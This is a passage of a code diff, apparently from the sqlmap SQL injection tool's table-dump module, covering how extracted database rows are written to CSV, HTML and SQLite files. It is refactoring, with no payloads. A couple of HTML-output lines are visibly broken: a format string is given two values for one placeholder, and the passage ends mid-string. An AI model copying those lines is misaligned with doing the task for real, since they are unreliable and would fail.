+ except UnicodeError:
+ try:
+ dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db)))
+ except (UnicodeError, OSError):
+ tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
+ warnMsg = "currently unable to use regular dump directory. "
+ warnMsg += "Using temporary directory '%s' instead" % tempDir
+ logger.warning(warnMsg)
+
+ dumpDbPath = tempDir
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
@@ -424,14 +446,14 @@ def dbTableValues(self, tableValues):
warnMsg = "unable to create dump directory "
warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex))
warnMsg += "Using temporary directory '%s' instead" % tempDir
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
dumpDbPath = tempDir
- dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
+ dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
if not checkFile(dumpFileName, False):
try:
- openFile(dumpFileName, "w+b").close()
+ openFile(dumpFileName, "w+").close()
except SqlmapSystemException:
raise
except:
@@ -459,9 +481,15 @@ def dbTableValues(self, tableValues):
else:
count += 1
- dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE)
+ dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE)
count = int(tableValues["__infos__"]["count"])
+ if count > TRIM_STDOUT_DUMP_SIZE:
+ warnMsg = "console output will be trimmed to "
+ warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
+ warnMsg += "large table size"
+ logger.warning(warnMsg)
+
separator = str()
field = 1
fields = len(tableValues) - 1
@@ -488,7 +516,8 @@ def dbTableValues(self, tableValues):
if column != "__infos__":
colType = Replication.INTEGER
- for value in tableValues[column]['values']:
+ for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))):
+ value = tableValues[column]['values'][i]
try:
if not value or value == " ": # NULL
continue
@@ -501,7 +530,8 @@ def dbTableValues(self, tableValues):
if colType is None:
colType = Replication.REAL
- for value in tableValues[column]['values']:
+ for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))):
+ value = tableValues[column]['values'][i]
try:
if not value or value == " ": # NULL
continue
@@ -546,7 +576,7 @@ def dbTableValues(self, tableValues):
else:
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
elif conf.dumpFormat == DUMP_FORMAT.HTML:
- dataToDumpFile(dumpFP, "%s | " % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))
+ dataToDumpFile(dumpFP, "%s | " % (field - 1, getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace"))))
field += 1
@@ -561,17 +591,14 @@ def dbTableValues(self, tableValues):
elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
rtable.beginTransaction()
- if count > TRIM_STDOUT_DUMP_SIZE:
- warnMsg = "console output will be trimmed to "
- warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
- warnMsg += "large table size"
- logger.warning(warnMsg)
-
for i in xrange(count):
console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
field = 1
values = []
+ if i == 0 and count > TRIM_STDOUT_DUMP_SIZE:
+ self._write(" ...")
+
if conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "")
@@ -588,7 +615,9 @@ def dbTableValues(self, tableValues):
value = getUnicode(info["values"][i])
value = DUMP_REPLACEMENTS.get(value, value)
- values.append(value)
+ if conf.dumpFormat == DUMP_FORMAT.SQLITE:
+ values.append(value)
+
maxlength = int(info["length"])
blank = " " * (maxlength - getConsoleLength(value))
self._write("| %s%s" % (value, blank), newline=False, console=console)
@@ -603,13 +632,13 @@ def dbTableValues(self, tableValues):
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
with openFile(filepath, "w+b", None) as f:
_ = safechardecode(value, True)
f.write(_)
- except magic.MagicException as ex:
+ except Exception as ex:
logger.debug(getSafeExString(ex))
if conf.dumpFormat == DUMP_FORMAT.CSV:
@@ -642,7 +671,7 @@ def dbTableValues(self, tableValues):
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
if conf.dumpFormat == DUMP_FORMAT.HTML:
- dataToDumpFile(dumpFP, "\n\n